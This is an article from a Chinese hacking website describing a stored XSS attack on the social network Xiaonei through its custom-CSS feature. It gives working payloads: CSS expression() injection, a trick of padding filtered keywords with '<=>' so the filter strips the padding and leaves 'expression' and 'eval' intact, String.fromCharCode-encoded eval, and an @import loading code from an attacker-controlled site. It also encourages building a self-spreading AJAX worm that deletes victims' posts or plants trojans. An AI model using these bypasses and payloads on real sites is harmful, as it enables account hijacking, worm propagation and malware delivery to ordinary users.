黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 脚本入侵 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[组图]利用XSS渗透校内网的过程详解
      ★★★★★

利用XSS渗透校内网的过程详解

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-1-28 8:47:12
我知道校内网曾经爆发的那个蠕虫,那时候爆发这个相对来说容易,因为那时XSS没任何挑战,而AJAX蠕虫不是谁都可以写出来的,至少要有不错的 JavaScript编程能力。我是这两天才开始认真使用校内网的,使用前就发文声称要XSS^^,没想到几个小时的渗透,发现了校内网的过滤系统就是形同虚设。

下面详细讲解下这个渗透过程,技术讨论而已。其他邪恶的问题一概不回答。

一、先了解下面这些:

渗透点为校内网的涂鸦板,这个涂鸦板就像百度空间的“编辑CSS自定义模板”。如下截图:

截图中的唯一正常的代码就是:body{background-color:#000;}!必须知道在CSS中执行脚本的唯一方法为expression表达式,而这个expression只在IE内核的浏览器中得到支持!expression还有一个缺点是它会反复执行其中的js代码,所以我们用下面这个聪明的方法来解决:

expression(if(!window.x){your evil script;window.x=1;})

这样,expression中的js就将执行一次。根据不同的渗透环境,我们可以将我们的js适当的变形或加解密转换。这次渗透发现涂鸦板(如上面截图)中的“背景图片:”文本框与“CSS:”文本域都可以写入非法的XSS字符串。先介绍“CSS:”文本域。

二、开始渗透了:

我们填写:a{cos:expression(if(!window.x){alert('xss-WORM');window.x=1;})},保存修改后变为:

a{cos:expression(if(!window.x){alert(xss-WORM);window.x1;})}

可以发现,它将expression过滤为英文全角的expression(不过,最后一个n还是英文半角,这很有趣),并且过滤了单引号与等号。继续渗透发现它过滤的字符或字符串为:> < = & escape \ eval expression unescape ' " javascript @import等。现在我们来突破,如何突破?为了执行js,我们必须先复活expression。

将expression变形为exp/**/ression,其中/**/为CSS的注释符,浏览器将忽略它,所以expression可以正常执行,不过过滤系统就不一定会考虑到这个了。后面我总结了一个万能的绕过方法,也非常的有效,呵呵,想知道就继续往下看吧。

三、传说中的万能绕过方法:

先告诉你吧,这段代码就可以XSS校内网了:
以下是引用片段:
a{cos:exp<=>ression(e<=>val(String.fromCharCode(105,102,40,33,119,105,110,100,111,119,46,120,41,123,97,108,101,114,116,40,39,120,115,115,45,87,79,82,77,39,41,59,119,105,110,100,111,119,46,120,61,49,59,125)))}

填写在“CSS:”文本域中,保存修改,在个人首页就可以看到XSS了,如下:

发现了没有,上面这段代码很奇怪啊。expression与eval都被<=>分割了,呵呵!原理就是:<=>这三个字符都会被过滤掉,连骨灰都不剩……于是我们的expression与eval就都有效了。所以传说中的万能绕过方法就是用<=>填充会被过滤的字符串(比如:javascript @import eval unescape escape expression等等)!但是对于那些特殊字符(比如:' " < = >等等)就没办法了,这个很好理解吧?这些特殊字符都将被过滤掉,都是连骨灰都不剩,所以你可以随意组合这些特殊字符串。我还是用我的<= >吧。

由于单引号等特殊字符都会被过滤掉,所以我们只能在expression表达式中选择使用eval(String.fromCharCode(邪恶的十进制码)),当然我们还可以选择使用@<=>import url(http://www.yourevilsite.com/xss.css);来导入外部CSS了,然后在你的外部CSS中就随意构造代码吧!邪恶的十进制码即你的js的十进制表达式,由于变为十进制了,所以任何特殊字符、任何函数都可以使用了,也就是说你可以执行任意js代码。

四、“背景图片:”文本框:

我发现这个文本框中仅仅过滤那些特殊字符,而不会过滤eval expression unescape等等,所以我就构造了如下代码:
以下是引用片段:
http://);cos:expression(eval(String.fromCharCode(105,102,40,33,119,105,110,100,111,119,46,120,41,123,97,108,101,114,116,40,39,120,115,115,45,87,79,82,77,39,41,59,119,105,110,100,111,119,46,120,61,49,59,125))

原理上面已经提到了。至于为什么这样构造就留给你自己去探索吧,很简单其实。

五、渗透成功后:

成功后,就写AJAX蠕虫吧,让访问你页面的人都中招,然后来点危害,比如清空其文章,再留下你的大名,或者挂马,最好来个潜伏期什么的~~~说说而已,这样做会被鄙视的!最多就来个小恶作剧就好,低调~低调。关于AJAX蠕虫的优势与危害我就不多说了。我现在更愿意来个定向攻击。运气好的话,会有很大的收获。
文章录入:cainiaowang    责任编辑:cainiaowang 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886